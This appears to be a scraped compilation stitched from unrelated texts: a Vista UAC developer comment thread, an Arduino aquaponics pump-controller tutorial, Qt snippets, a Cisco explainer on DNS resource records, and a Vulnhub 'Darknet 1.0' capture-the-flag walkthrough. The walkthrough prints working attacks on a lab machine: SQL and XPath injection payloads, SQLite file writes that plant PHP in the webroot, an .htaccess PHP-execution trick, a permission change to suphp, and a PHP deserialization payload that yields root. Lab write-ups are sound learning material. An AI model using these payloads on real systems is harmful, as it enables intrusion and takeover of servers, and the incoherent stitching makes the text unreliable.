Also, we are having a devil of a time compiling this code to work and examine it. We have VS2005 with the Vista packs installed, but can’t seem to get it to work. Can you detail your configuration?
Hi Jason,
If you’re trying to sort out why an application may be failing as non-admin, I’d take a look at Standard User Analyzer (part of the Application Compatibility Toolkit 5.0) – this will pinpoint exactly what your code is doing that requires admin rights and help you address that. Once you erradicate the LUA bugs, you can just manifest to run asInvoker, and you’ll never have us elevate it for you because our heuristics determine that you might need elevation.
Running UAC on is the best thing, since that’s what the overwhelming majority of our testing is done on and the majority of users will see.
If you want to see both failure and success, the group policy for UAC allows you to either silently elevate (not really ever a good idea for an actual user, but a good solution for your tests) or automatically fail (many enterprises will want this if they are running a standard user desktop, since the average user won’t have creds to provide when we prompt). You could try both policies – one will fail your test since elevation won’t happen, the other will let it happen without you having to drive it.
To compile my code, you’ll need to have the Vista SDK installed, and point to it in the headers and libraries when you configure your project. Once you have that, you can also try out the new goodies in Vista since you’ll have all of the new headers, if you want to do a "light up on Vista" type of thing (yes, you’ll typically want to branch so you can support down-level, but if your code factors out the UI stuff you can keep it fairly clean).
Feel free to ping me on the "email me" link if you need deeper assistance, and I’d be happy to go deeper on anything that is confusing.
Thanks,
Chris
I tried to use the same piece of code , But GetTokenInformation() is returning the Error as Invalid Parameter.. Did anyone get the same error?
Can Anyone pls help me in this.. Thanks in advance.
You may want to check the following…
Do you have the latest header files? Windows Vista SDK?
Check the search order of the directories for include files.
If not please provide the code so that we understand the case better
Thanks a lot , after adding the latest header file that error has gone..
But Now that getTokenInformation is always returning TokenElevationTypeDefault whether the user is admin or non admin.. I created one small test application with these piece of code. And I ran that code. Its returning TokenElevationTypeDefault for admin and other users and for both UAC enabled and UAC Disabled.. what may be the problem? Thanks
You might need introduction to Windows Vista 🙂
My app is a data backup program, and is manifested as ‘highestAvailable’. It needs this to utilize the volume shadow service for backing up locked/open files. Unfortunately, this means that under Vista when UAC is on, my app doesn’t receive WM_DROPFILES messages. I haven’t seen it documented by MS, but apparently this is because these messages are disabled between applications with different security levels. I’m thinking of just checking to see if UAC is on, and if so, I won’t call the DragAcceptFiles(), and simply won’t support drag/drop in this case. I have 2 questions:
1) Can anyone offer a better solution?
2) If not, how to you programatically determine if UAC is on/off?
Thanks,
Mark
Call the ChangeWindowMessageFilter function to allow whatever messages you want to recieve through the UIPI filters. Then, make sure you are particularly vigilant about scrubbing this input, as it could potentially come from an untrusted source.
Still app doesn’t receive WM_DROPFILES. But ChangeWindowMessageFilter returns "true".
Is it possible to use GetTokenInformation and find out if a process is getting virtualized or not?
ananda84,
Yes it is. See.
Can such a detection be done through Javascript?
Gautam,
What’s the scenario in which this is helpful to you? Just trying to figure out what the best way to get that information is.
Chris
under Windows Server 2008 the answer of GetTokenInformation is always TokenElevationTypeDefault independent from the user.
No it isn’t. | https://blogs.msdn.microsoft.com/cjacks/2006/10/08/how-to-determine-if-a-user-is-a-member-of-the-administrators-group-with-uac-enabled-on-windows-vista/ | CC-MAIN-2018-30 | refinedweb | 3,485 | 60.45 |
Vulnhub Darknet1.0 write upMon 08 June 2015
Darknet 1.0 by q3rv0 isn't easy... for me anyway.
With some help and lots of reading I did however get to the bottom of it.
Here's my journey
Stage 1
First things first: scan the target
root@kali:~# nmap -sV -p- 192.168.56.106 Starting Nmap 6.47 ( ) at 2015-06-03 12:57 BST Nmap scan report for darknet.com (192.168.56.106) Host is up (0.00017s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.22 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) 57664/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:E5:9F:EC (Cadmus Computer Systems) Service detection performed. Please report any incorrect results at . Nmap done: 1 IP address (1 host up) scanned in 20.86 second
Not much to be had here other than a web server. Poking at the RPC ports didn't give any results. Browsing to the IP shows me:
There's no
robots.txt so nothing left to do but run
dirbuster on it. Using the
directory-list-2.3-medium.txt I'm rewarded with some directories and files that might be of interest
I downloaded the
888.darknet.com.backup file and took a look at it.
<VirtualHost *:80> ServerName 888.darknet.com ServerAdmin devnull@darknet.com DocumentRoot /home/devnull/public_html ErrorLog /home/devnull/logs </VirtualHost>
Hrmm.. a virtual host configuration. I added
192.168.56.106 888.darknet.com to my local
/etc/hosts and then pointed my browser to
888.darknet.com to be presented with this:
Initial thoughts are SQLi, so I started with some simple SQL injections to see if my hunch is correct. Entering a username like
' or '1'='1 yields an Ilegal[sic] message. So this means two things: 1) SQLi is very probably here becasue 2) our input is filtered. I didn't fancy working out what chars I can and can't use so I made a script to do that for me
#!/usr/bin/python import requests import string import re def testit(c): url = '' payload = 'username=%s&password=%s&Action=Login' % (c, c) r = requests.post(url, data=payload) m = re.search('.*Ilegal.*', r.text) if m: print '%s\tIllegal' % c else: print '%s\t OK' % c for c in string.punctuation: testit(c)
which yielded the following as illegal characters.
, Illegal - Illegal ; Illegal < Illegal = Illegal > Illegal
everything else was fair game. Well almost everything, some SQL commands aren't allowed either. But I've got enough to work with. I have a good idea that
devnull is a valid user, so I'll try to use that info. I enter
devnull'/* as a username hoping I am creating a query like
SELECT * FROM users WHERE username='devnull'/* AND password='xxxx';. Hitting the login button confirms my input is correct.
I should mention here that the VM has a bug in it so that even if you get the sqli right, it will redirect you back to
index.php. Noticed this in Burp as it was redirection to
main.php after the correct SQLi, but then going back to
index.php. A full reinstall of the VM will fix this, or reverting to an earlier snapshot will also work.
Ok, so now I get
Stage 2
Whatever I enter here just goes somewhere without any feedback. This is completely blind and will be a bit of a challenge.
While I was unaware of the bug I mentioned earier, I ended up entering a lot of different characters into the login form. An interesting response comes when you enter
' for the username with any pass:
unrecognized token: "3590cb8af0bbb9e78c343b52b93773c9". This is the md5 of the password. Using a number like
1 for the password with
' as the username gives this error
near "c4ca4238a0b923820dcc509a6f75849b": syntax error These errors indicate that this is in fact a SQLite DB. This information will help me with the admin console as I now know what I am working with. This also confirms my earlier suspicion about what the query looks like.
One useful feature of SQLite that I can exploit in this case, is its ability to create files on disk. To leverage this, I need to find is a folder where I have permission to write files to. I ran
dirbuster again and now have a few directories to try
In order to create a file with SQLite I need to attach the file in question as a database. So I set about running commands like this
attach database '/home/devnull/public_html/test.php' as db; drop table if exists db.test; create table db.test(payload text); insert into db.test(payload) values('<?php phpinfo(); ?>');
From the Apache config I downloaded at the start, I know that the webroot is
/home/devnull/public_html, so any directories I got back from dirbuster will be a subdirectory of that. I try all the folders until I got a hit with the
img directory. So I've got a place to create files, but the bad news is that
exec,
eval, and its ilk are disabled. This means no simple php shell. Boooo.
Not to worry, I got this. I knocked up a quick PHP script to do some work for me
if ($_GET["cmd"] == "db") { $dbhandler=new SQLite3("/home/devnull/database/888-darknet.db"); $query = $dbhandler->query("SELECT * FROM login"); while($result=$query->fetchArray()){ print_r($result); print "<br/>"; } } if ($_GET["cmd"] == "ls") { $path = $_GET["arg"]; @chdir($path); $dir = @dir($path); while($d = $dir->read()) { print $d."<br/>"; } } if ($_GET["cmd"] == "cat") { $file = $_GET["arg"]; $fh = fopen($file, "r"); if ($fh) { while ($l = fgets($fh)) { print htmlspecialchars($l)."<br/>"; } fclose($fh); } else { print "Cannot open ".$file."<br/>"; } }
I use this as the payload in the
INSERT statement.
With the
cmd parameter I can now list directories and cat files. The database details were added once I had got the details from the db file in the
includes folder.
I scoped around the server a bit, looking in the usual interesting folders, seeing if there's anything useful. Eventually I found something interesting in the Apache config folder. There's another virtual host on this machine at
signal8.darknet.com.
Before I go on, I best mention DAws which will make your life super easy. I crafted a file uploader in PHP which I put on the server with the SQL admin trick above, and then uploaded the
DAws.php file. This will drop a
php.ini on the server that allows you to run commands, and also create a reverse shell to your host. Much easier than what I did, but you learn new things all the time. This will be the PHP script I'll be using going forward.
Stage 3
Ok, so now I'm looking at the list of Darknet staff. Clicking on the usernames will take me to a php page showing me that user's email. While I ponder the significance of this I check for a robots.txt file and this time there is one. It lists a directory called
xpanel which prompts me for another username and password combo. No SQLi here though I'm afraid. I cannot bruteforce this either. Well I could but I don't think I'll get a hit any time soon.
Fastforward and I'm stuck. After chatting to g0blin I get a hint that the
contact.php is a key. I start attempting to inject stuff into the
id field. Eventually I notice that I am not looking at the same DB. The ids don't match with what I saw before when I dumped the DB. This is a new data store. But what is it? SQL wasn't getting me anywhere so I leafed through books and notes and figured it could be XML. If it is, it will most likely be something like
...user/id=1] Adding
][1 at the end will return the first and only result, and we should get the email as per normal. Adding
[2 will error and return nothing as there should only be one result. If this works I can be fairly certain that this is an XPath query.
Excellent, it worked. Now I need to figure out how to make use of this. XPath isn't something I've come across very often.
So I begin to experiment. First off I figured out if it's XPath V2 or XPath V1. If entering
id=1 or count(//*)][1 doesn't work, but
id=1 lower-case('A')][1 does, then it's XPath V2, otherwise it's XPath V1.
While I played around with this something clicked in my head and I groked enough of XPi (XPath injection) to get to the bottom of this. Using the truth from above we can determine the xpath names using the
substring function. I wrote another python script to do the heavy lifting
import requests import string import sys path = '' if len(sys.argv) > 1: path = sys.argv[1] URL = '' payload_tpl = "1 and substring(name(%s),%d,1)='%s'][1" name = '' cmp_pos = 1 carry_on = True while carry_on: carry_on = False print name for c in string.ascii_letters: payload = {'id': payload_tpl % (path,cmp_pos,c)} r = requests.get(URL, params=payload) if r.text.find('errorlevel') != -1: name += c carry_on = True break cmp_pos += 1 print 'Path name:', name
So I ran this with the current path
root@kali:~/darknet# python xpath.py u us use user Path name: user
and the parent path
root@kali:~/darknet# python xpath.py .. a au aut auth Path name: auth
Ok, that will help me get some more data from the file. I try to see if the email field will work with
1]/email|auth[id=1. I need the
auth part because without it the query will not close correctly in the main script, and this makes sure the closing
] won't error.
So now I should be able to get the username with
1]/username|auth[id=1. Now let's try the password field. I tried
pass and
password before I realised we're dealing with another language here. Thanks to the logins I know that the spanish for password is clave.
id=1]/clave|auth[id=1 throws up the password! Result. Using these detail I am able to login at
signal8.darknet.com/xpanel
Stage 4
Oooh a PHP editor! Sweet... yeah right. Clicking the link goes to a page that shows:
Tr0ll Found The requested URL /xpath/xpanel/edit.php was not found on this server.
So after some manual digging nothing comes up. Time to break out
dirbuster again to find
ploy.php which presents me with
It requires a file which it uploads, as well as a specific combination of checkboxes to be checked. Just trying some random checkboxes I can determine that the correct number of boxes is 4, but instead of trying this all manually, I'll script this part. Looking at the source of the page I see the values for the checkboxes. All I have to do is iterate of all possible combinations of 4 of these numbers.
Here's my bruteforce script:
import sys import requests import itertools user = 'devnull' passwd = 'j4tC1P9aqmY' base_url = '' login_url = base_url + 'index.php' payload = {'username': user, 'password': passwd} sess = requests.session() r = sess.post(login_url, data=payload) ploy_url = base_url + 'ploy.php' for attempt in itertools.permutations(["37","58","22","12","72","10","59","17","99"], 4): payload = {'Action':'Upload', 'checkbox[]': attempt } files = {'imag':('info.txt', open('info.php', 'rb')} r = sess.post(ploy_url, data=payload, files=files) if r.text.find('Key incorrecta!') == -1: print 'Found pin: ', attempt sys.exit(0)
The correct PIN is
'37', '10', '59', '17'. I tried to upload a PHP script, but that won't work. Seems uploading anything with a
php extension is forbidden. Casting my mind back I noticed that in the apache config I noticed something interesting. For this site
AllowOverride All is on. Most likely going to be something to do with
.htaccess. To check this I upload the following file, and then browse to a non-existant file, to generate a 404
Order deny,allow Allow from all ErrorDocument 404
This should direct me to
google.com, which it does, indicating
.htaccess overrides work here. So what can I do from here that will either allow me to upload a PHP shell or do something else?
Unfortunately there's another issue: as I upload files, old files seem to get deleted. I found this out when the 404 redirect stopped working after uploading an html file.
Luckily I discovered that it's possible to execute php code inside the .htaccess file.
AddHandler application/x-httpd-php .htaccess DirectoryIndex .htaccess <FilesMatch "^\.htaccess"> Order deny,allow Allow from all SetHandler application/x-httpd-php </FilesMatch> #<?php print $_GET["test"]; ?>
Sure enough the
$_GET["test"] variable is on the page. So this should allow me to get a run some useful code on there somehow.
After following some blind leads, I wrote a php script that would take a file encoded with base64 and a filename via a
POST method and write this file out. (Note: appending the entire script for DAws or similar didn't work). Something like this should work though:
$fp = fopen($_POST['name'], 'wb'); fwrite($fp, base64_decode($_POST['data'])); fclose($fp);
At the end of the
.htaccess file. However this always error with a permissions error.
After struggling with this for quite some time I got some help from a fellow #vulnhub resident who helped me out with something I missed. It's
suphp not
php, so I wasn't executing the script as the
errorlevel user. Derp.
Stage 5
So having sorted that I uploaded
DAws and got myself a reverse shell and explored once more. Now inside
/var/www there's some files I missed earlier:
sec.php,
Classes/Test.php, and
Classes/Show.php. Interesting.
Trying to hit
darknet.com/sec.php errors. Let's take a look inside of it
<?php require "Classes/Test.php"; require "Classes/Show.php"; if(!empty($_POST['test'])){ $d=$_POST['test']; $j=unserialize($d); echo $j; } ?>
Rembering that we're dealing with suphp it could well be that the 500 error is because
sec.php is trying to run as
root. Checking
/etc/suphp/suphp.conf my suspicion is correct, the
min_uid and
min_gid settings are too high for
root scripts to run. But hey, as luck would have it (thanks q3rv0)
suphp.conf is
777. So heading straight to
sed
$ sed -i 's/min_uid=100/min_uid=0/g' suphp.conf sed: couldn't open temporary file ./sedm2LUZQ: Permission denied
Hmph. Ok then I'll copy the
suphp.conf to
/tmp and edit it there, then copy it back. Making sure I change both
min_uid and
min_gid, I reload
sec.php and get a blank page. No errors are good errors.
Now that I've got
sec.php running I can go ahead and see what we might be able to exploit. Anything we do with this file will run as root, some hopefully this is the last part of Darknet, because I want my life back :)
sec.php unserialises our input, which basically takes a serialised string and unserialises into an object. Similar to Python's pickle. There's no way I can call a method on either of the classes, so I have to see what will get called for me. The
Test class has a rather useful destructor, which, will write data to disk and make it world readable. Almost as if that's what we're supposed to use.
<?php class Test { public $url; public $name_file; public $path; function __destruct(){ $data=file_get_contents($this->url); $f=fopen($this->path."/".$this->name_file, "w"); fwrite($f, $data); fclose($f); chmod($this->path."/".$this->name_file, 0644); } } ?>
The
Show class on the other hand is only useful for testing, as this will provide visual feedback when
sec.php gets rendered and runs the
echo statement. This will invoke the
__toString method on the
Show class. Passing
test=O:4:"Show":1:{s:4:"woot";s:2:"XX";} will print
Showme, confirming that the serialisation worked.
Now to get DAws on there as root. First things first I need to determine the serialised string. I do this with a simple PHP script that searialises the
Test class and prints out the string I need. Which is
O:4:"Test":3:{s:3:"url";s:30:"";s:9:"name_file";s:8:"DAws.php";s:4:"path";s:8:"/var/www"}
Using Burp suite I use a
GET request to
sec.php, send it to
Repeater and convert it to a
POST request with the required payload:
Then I, once again, browse to my DAws url and bind a shell to finally get:
# whoami && id root uid=0(root) gid=0(root) groups=0(root) # cat flag.txt ___ ___ ___ ___ ___ ___ ___ /\ \ /\ \ /\ \ /\__\ /\__\ /\ \ /\ \ /::\ \ /::\ \ /::\ \ /:/ / /::| | /::\ \ \:\ \ /:/\:\ \ /:/\:\ \ /:/\:\ \ /:/__/ /:|:| | /:/\:\ \ \:\ \ /:/ \:\__\ /::\~\:\ \ /::\~\:\ \ /::\__\____ /:/|:| |__ /::\~\:\ \ /::\ \ /:/__/ \:|__| /:/\:\ \:\__\ /:/\:\ \:\__\ /:/\:::::\__\ /:/ |:| /\__\ /:/\:\ \:\__\ /:/\:\__\ \:\ \ /:/ / \/__\:\/:/ / \/_|::\/:/ / \/_|:|~~|~ \/__|:|/:/ / \:\~\:\ \/__/ /:/ \/__/ \:\ /:/ / \::/ / |:|::/ / |:| | |:/:/ / \:\ \:\__\ /:/ / \:\/:/ / /:/ / |:|\/__/ |:| | |::/ / \:\ \/__/ \/__/ \::/__/ /:/ / |:| | |:| | /:/ / \:\__\ ~~ \/__/ \|__| \|__| \/__/ \/__/ Sabia que podias Campeon!, espero que esta VM haya sido de tu agrado y te hayas divertido tratando de llegar hasta aca. Eso es lo que realmente importa!. #Blog: #Twitter: @SecSignal, @q3rv0
I learned sooooo much through this VM. Many thanks to qu3rv0 for creating it, Vulnhub for hosting it, and the people who helped me get through it (esp g0blin).
I look forward to the next one.
Note
As it was possible to upload a shell with the SQL Admin page, browsing to
/var/www would have taken us directly to the end stage. All the info was there and
suphp.conf is world writeable. Had I done that though I would have missed out on the XPath challenge, which taught me some new tricks, as well as all the other fun puzzles. | https://www.unlogic.co.uk/2015/06/08/vulnhub-darknet10-write-up/ | CC-MAIN-2018-22 | refinedweb | 3,011 | 76.01 |
#220 – Using the Predefined Colors
February 17, 2011 2 Comments
The Colors class, in the System.Windows.Media namespace, includes a large set of static properties representing a set of predefined colors. Each property has a name representing the color, e.g. “Blue”, and is stored internally as a standard WPF Color structure.
The example below shows two different ways of using the predefined colors. You can use a color name in XAML wherever either a color or a brush is expected. The name of the color in XAML is converted to a Color value by mapping the name of the color to one of the properties in the Colors class.
<Button Content="Hello" Background="Purple" /> <Button Content="Again"> <Button.Background> <SolidColorBrush Color="Blue"/> </Button.Background> </Button>
Below is an image showing the full list of predefined colors. (Click on the image to see it full size).
Pingback: #809 – You Can Use a Brush for a Control’s Background | 2,000 Things You Should Know About WPF
Pingback: #810 – Setting Foreground and Background Properties from Code | 2,000 Things You Should Know About WPF | https://wpf.2000things.com/2011/02/17/220-using-the-predefined-colors/ | CC-MAIN-2022-21 | refinedweb | 184 | 56.96 |
22 Apr 2004 12:43
Re: Overriding final methods
<jastrachan@...>
2004-04-22 10:43:23 GMT
2004-04-22 10:43:23 GMT
This is a bug, could you raise it in JIRA please? Basically we should be able to check at verification stage that a method you're overloading is not final. Ditto deriving from final classes. On 22 Apr 2004, at 10:58, Jim Downing wrote: > Hi, > > If a groovy class overrides a final method then groovyc will compile > it fine, > but the .class file generated will be invalid: - > > Base.java > public class Base { > final int getCount() { > return 1; > } > } > > MyBase.groovy > class MyBase extends Base { > int getCount() { return 2; } > } > > These will both compile with groovyc without error. It's only when you > try to compile: - > > MyBaseTest.groovy > class MyBaseTest extends GroovyTestCase { > void testBasic() { > b = new MyBase() > assert b.count == 2 > } > } > > ... that groovyc throws a MissingClassException. Running javap on > MyBase.class fails (it exposes a bug in javap that I think only happens > for invalid class files). > > Could groovyc check for illegal overrides? In the same vein, could > groovyc check that all abstract inherited methods had been implemented? > > cheers, > > jim > _______________________________________________ > groovy-user mailing list > groovy-user@... > > > James ------- | http://permalink.gmane.org/gmane.comp.lang.groovy.user/1149 | CC-MAIN-2013-20 | refinedweb | 200 | 68.47 |
#include <QtNetwork>
- lsatenstein
- task_struct
Did you add this module in your .pro file? You should have line like this:
@
QT += network
@
Note that it is better not to #include the whole module. Just include the classes you actually need, and even then prefer forward declarations in headers and #includes in the sources if possible. It will save you compilation time.
- lsatenstein
I am a real beginner. I will do the add and see what happens.
Thank you for the replies and suggestions.: 'QtNetwork': No such file or directory
regards
Sikander Mirza
- sierdzio Moderators
That happens if you include and actual header file, and not the global module include?.
You should not have to add the 'greaterThan' in front of the QT += network.
Both Qt4 and Qt5 have that module, and you clearly require it :)
I suggest, like Andre, you include things like
#include <QNetworkAccessManager>
and check if that works.
In .pro file use:
@QT += network@
/.
thanks, for this but strangely :) its just something else that is not being able to understand that still that project doesn't let me include and every other project does so I made a new one as it was on early stages already :) | https://forum.qt.io/topic/10023/include-qtnetwork | CC-MAIN-2018-05 | refinedweb | 198 | 71.75 |
qpair.3qt - Man Page
Value-based template class that provides a pair of elements
Synopsis
#include <qpair.h>
Public Members
typedef T1 first_type
typedef T2 second_type
QPair ()
QPair ( const T1 & t1, const T2 & t2 )
QPair<T1, T2> & operator= ( const QPair<T1, T2> & other )
Related Function Documentation
QPair qMakePair ( T1 t1, T2 t2 )
Description
The QPair class is a value-based template class that provides a pair of elements.
Q:
A copy constructor
An assignment operator
A constructor that takes no arguments.
Member Type Documentation
QPair::first_type
The type of the first element in the pair.
QPair::second_type
The type of the second element in the pair.
Member Function Documentation
QPair::QPair ()
Constructs an empty pair. The
first and
second elements are default constructed.
QPair::QPair ( const T1 & t1, const T2 & t2 )
Constructs a pair and initializes the
first element with t1 and the
second element with t2.
Related Function Documentation
QPair qMakePair ( T1 t1, T2 t2 )
This is a template convenience function. It is used to create a QPair<> object that contains t1 and tpair.3qt) and the Qt version (3.3.8).
Referenced By
The man page QPair.3qt(3) is an alias of qpair.3qt(3). | https://www.mankier.com/3/qpair.3qt | CC-MAIN-2022-40 | refinedweb | 198 | 57.37 |
Introduction: Arduino Aquaponics: JSON Pump Controller
When we started developing the Aquaponics Controller we realized we wanted a single unit that could handle multiple situations. Some flood-and-drain aquaponics systems toggle the pump on and off on non-matching intervals, say five minutes on and fifteen minutes off and some use a bell siphon and let the main pump run continuously.
This controller does both and throws in a third mode for manual operation. There are a couple of challenges to building an aquaponics controller like this with Arduino, where we want to sync the operation information (mode, run time, idle time, and pump state) with a web application and yet operate independently if it should fail to make the connection. First, due to the inherent limit the Ethernet Shield can make requests - a maximum of 5 to 10 seconds - and the frequency we need to check whether the pump relay should be toggled on or off - once every second, we realized we would need two different TimerAlarms. Similarly, the Ethernet request frequency meant we had to find a way to sync the operating parameters (mode, run time, etc.) in one request so the Arduino could move on to checking the pump.
Enter JSON, a web standard for passing key-value pairs. We used the aJson library to parse the response from the web application. A ChronoDot (real-time-clock) is used to keep the system time and track when the pump toggles on and off.
Parts
1 x Arduino Mega R3
1 x Arduino Ethernet Shield R3
1 x ChronoDot
1 x PowerSwitch Tail II
1 x Bi-Color (Red/Green) 5mm LED
Jumper wires
CAT-5e cable
Arduino Libraries
You'll need a few libraries:
RTClib is used by the ChronoDot.
aJson is used to parse the JSON.
Time and TimeAlarms
This project is taken directly from Automating Aquaponics with Arduino.
Step 1: Wiring Diagram
The wiring is very straight forward. Obviously the RTC breakout board in the graphic is not the ChronoDot but as there isn't a ChronoDot in Fritzing we used this as the graphic - the wiring is the same. Also note the pin connections for the Arduino Mega to the RTC are not the same as they would be on the Uno.
The bi-color LED is used to indicate a successful connection to the web application. When the connection is made, pin 8 is set to HIGH and pin 9 to LOW, which makes the LED green. When the connection fails, the flow is reversed and the LED shines red.
Step 2: Arduino Sketch
The Arduino sketch creates two TimerAlarms. The first checks the relay on one second intervals and is used for Toggle Mode. The second alarm calls the sync function on 30 second intervals.
The parsing function looks for the end of the response, creates an aJson object and then gets the Mode. Depending on the Mode value, one of three things happens. The first mode is Always On, so the relay is turned on. If you use Toggle, the run and idle times are synced. Finally, Manual is accompanied by the status you want the pump in.
#include <SPI.h>
#include <Ethernet.h> // Ethernet Shield
#include <aJSON.h> // Parse JSON. Credit: Interactive Matter
#include <Wire.h>
#include "RTClib.h" // ChronoDot. Credit: Adafruit Industries
#include <Time.h>
#include <TimeAlarms.h>
// RTC - ChronoDot
RTC_DS1307 RTC;
DateTime future;
unsigned long toggle;
unsigned long current;
// Ethernet Shield
byte mac[] = { 0x90, 0xA2, 0xD0, 0x0D, 0xA0, 0x00 };
//byte myIP[] = { 192, 168, 1, 15 }; // Uncomment here and line 52 if needed.
//byte gateway[] = { 192, 168, 1, 1 };
char server[] = ""; // Change this to match the application identifier you setup in Step 3
EthernetClient client;
// Makes it easy to change app names
String webapp = ""; // Change this to match the application identifier you setup in Step 3
// Pins
int connectedON = 8;
int connectedOFF = 9;
int pumpRelay = 23;
// PumpRelay values
String current_mode = "Manual"; // The default mode
String pumpState = "off"; // The default state
int pumpRunTime = 20; // Run for 20 seconds
int pumpIdleTime = 40; // Sit idle for 40 seconds
void setup() {
// Turn relay off first
digitalWrite(pumpRelay, HIGH);
// Disable SD card if one in the slot
pinMode(4,OUTPUT);
digitalWrite(4,HIGH);
// Start Serial
Serial.begin(9600);
delay(1000);
// Start Ethernet
Ethernet.begin(mac);
//Ethernet.begin(mac, myIP);
//Ethernet.begin(mac, myIP, gateway);
delay(1000);
// Start RTC
Wire.begin();
RTC.begin();
if (! RTC.isrunning()) {
Serial.println("RTC is NOT running");
}
DateTime now = RTC.now();
DateTime compiled = DateTime(__DATE__, __TIME__);
if (now.unixtime() < compiled.unixtime()) {
Serial.println("RTC is older than compile time! Updating");
RTC.adjust(DateTime(__DATE__, __TIME__));
}
// Set pin modes
pinMode(connectedON, OUTPUT);
pinMode(connectedOFF, OUTPUT);
pinMode(pumpRelay, OUTPUT);
// Set alarms
Alarm.timerRepeat(30, sync);
Alarm.timerRepeat(1, checkRelay);
sync();
Serial.println("Setup Complete");
}
void loop() {
Alarm.delay(1000);
}
void sync() {
Serial.println("Syncing");
GAE(webapp + "adacs/sync?State=" + pumpState);
Serial.println();
}
void checkRelay() {
DateTime now = RTC.now();
current = now.unixtime();
if (current_mode == "Toggle") {
if (current < toggle) {
} else {
// Determine which state to toggle to
if (pumpState == "off") {
// The pump was off. Turn on and set next toggle time based on run time
digitalWrite(pumpRelay, LOW);
Serial.println("Turning pump on");
pumpState = "on";
// Set next toggle time
future = now.unixtime() + pumpRunTime;
toggle = now.unixtime() + pumpRunTime;
} else if (pumpState == "on") {
// The pump was on. Turn off and set next toggle time based on idle time
digitalWrite(pumpRelay, HIGH);
Serial.println("Turning pump off");
pumpState = "off";
// Set next toggle time
future = now.unixtime() + pumpIdleTime;
toggle = now.unixtime() + pumpIdleTime;
}
displayTime();
}
}
}
void displayTime() {
DateTime now = RTC.now();
current = now.unixtime();
// Display current time
Serial.print("Current time: ");
Serial.print(now.year(), DEC);
Serial.print('/');
Serial.print(now.month(), DEC);
Serial.print('/');
Serial.print(now.day(), DEC);
Serial.print(' ');
Serial.print(now.hour(), DEC);
Serial.print(':');
Serial.print(now.minute(), DEC);
Serial.print(':');
Serial.print(now.second(), DEC);
Serial.println();
// Display next toggle time
Serial.print("Future time: ");
Serial.print(future.year(), DEC);
Serial.print('/');
Serial.print(future.month(), DEC);
Serial.print('/');
Serial.print(future.day(), DEC);
Serial.print(' ');
Serial.print(future.hour(), DEC);
Serial.print(':');
Serial.print(future.minute(), DEC);
Serial.print(':');
Serial.print(future.second(), DEC);
Serial.println();
}
void GAE(String link) {
boolean success = httpRequest(link);
if (success == true) {
delay(5000);
boolean currentLineIsBlank = true;
String readString = "";
char newString[100];
while (client.connected()) {
if (client.available()) {
char c = client.read();
//Serial.write(c); // Dev mode
if (c == '\n' && currentLineIsBlank) {
while(client.connected()) {
char f = client.read();
readString += f;
}
}
if (c == '\n') {
currentLineIsBlank = true;
} else if (c != '\r') {
currentLineIsBlank = false;
}
}
}
client.stop();
readString.toCharArray(newString, 100);
// The full JSON object
aJsonObject* jsonObject = aJson.parse(newString);
// Get the mode
aJsonObject* mode = aJson.getObjectItem(jsonObject, "Mode");
current_mode = mode->valuestring; // Convert mode to string and assign to current_mode
Serial.println("Mode: " + current_mode);
// Mode conditional
if (current_mode == "Always On") {
// Turn the pump on
digitalWrite(pumpRelay, LOW);
// Update state
pumpState = "on";
} else if (current_mode == "Toggle") {
// Sync the run time
aJsonObject* rt = aJson.getObjectItem(jsonObject, "RunTime");
String rString = rt->valuestring;
pumpRunTime = rString.toInt();
// Sync the idle time
aJsonObject* it = aJson.getObjectItem(jsonObject, "IdleTime");
String iString = it->valuestring;
pumpIdleTime = iString.toInt();
// Optional output
// Serial.print("Run Time: ");
// Serial.print(pumpRunTime);
// Serial.println();
//
// Serial.print("Idle Time: ");
// Serial.print(pumpIdleTime);
// Serial.println();
} else if (current_mode == "Manual") {
// Sync the state
aJsonObject* st = aJson.getObjectItem(jsonObject, "Status");
pumpState = st->valuestring;
if (pumpState == "on") {
digitalWrite(pumpRelay, LOW);
} else if (pumpState == "off") {
digitalWrite(pumpRelay, HIGH);
} else {
Serial.println("Unknown pump state given in Manual mode.");
}
} else {
Serial.println("Uknown mode detected during sync.");
}
} else {
Serial.println("Not connected.");
}
// Delete the root object
aJson.deleteItem(jsonObject);
}
boolean httpRequest(String link) {
// If there is a successful connection
if (client.connect(server, 80)) {
client.println("GET " + link + " HTTP/1.0");
client.println();
// Turn connected LED on
digitalWrite(connectedOFF, LOW);
digitalWrite(connectedON, HIGH);
return true;
} else {
// You couldn't make the connection
Serial.println("Connection Failed");
//errors += 1;
client.stop();
// Turn connected LED on
digitalWrite(connectedON, LOW);
digitalWrite(connectedOFF, HIGH);
return false;
}
}
Step 3: Web Application
The included web application runs on Google App Engine. You can learn how to create an application here and learn about Google App Engine's pricing here. This application is designed to fit inside of Google's free pricing scheme and does not accrue data, however, but note Google's prices are subject to change and not within our control.
To use the application, download and extract it. The only change you need to make is to modify app.yaml and rename the application with the identifier you used to create the application.
application: myapsystem -> {{ Your application identifier }}
The web application syncs with the server every 30 seconds (the same as the Arduino sketch). If you change the interval, make sure you change it for both programs, but be careful of running to many instances and exceeding the free quota.
Setting the pump state in Manual mode is done by clicking the image, but note that the image may change to the previous state before the Arduino syncs.
The toggle times are set in seconds, so running the pump for five minutes would mean entering 300 into the input box.
Finally, the web application is mobile friendly (Responsive Web Design) and will change layouts to handle phones and tablets.
Attachments
Be the First to Share
Recommendations
4 years ago
Nice, But I still don't understand the need for so many subroutines .. you should really spent some time on it.. | https://www.instructables.com/Arduino-Aquaponics-JSON-Pump-Controller/ | CC-MAIN-2021-21 | refinedweb | 1,563 | 51.24 |
Resource Records define data types in the Domain Name System (DNS). Resource Records identified by RFC 1035
are stored in binary format internally for use by DNS software. But resource records are sent across a network in text format while they perform zone transfers. This document discusses some of the more important types of Resource Records.
Note: There are a number of other record types that are no longer actively supported. These include mail destination (MD), mail forwarder (MF), mail group (MG), mailbox or mail list information (MINFO), mail rename (MR), and NULL. You can obtain a full list of DNS Record Types from IANA DNS Parameters
.
There are no specific requirements for this document.
This document is not restricted to specific software and hardware versions.
For more information on document conventions, refer to the Cisco Technical Tips Conventions.
At the top level of a domain, the name database must contain a Start of Authority (SOA) record. This SOA record identifies what is the best source of information for data within the domain. SOA contains the current version of the DNS database, and various other parameters that define the behavior of a particular DNS server.
There must be exactly one SOA record for each nameserver domain (each subdomain). This applies to the subdomains of IN-ADDR.ARPA (reverse domains). A region of namespace that has a separate SOA is known as a zone.
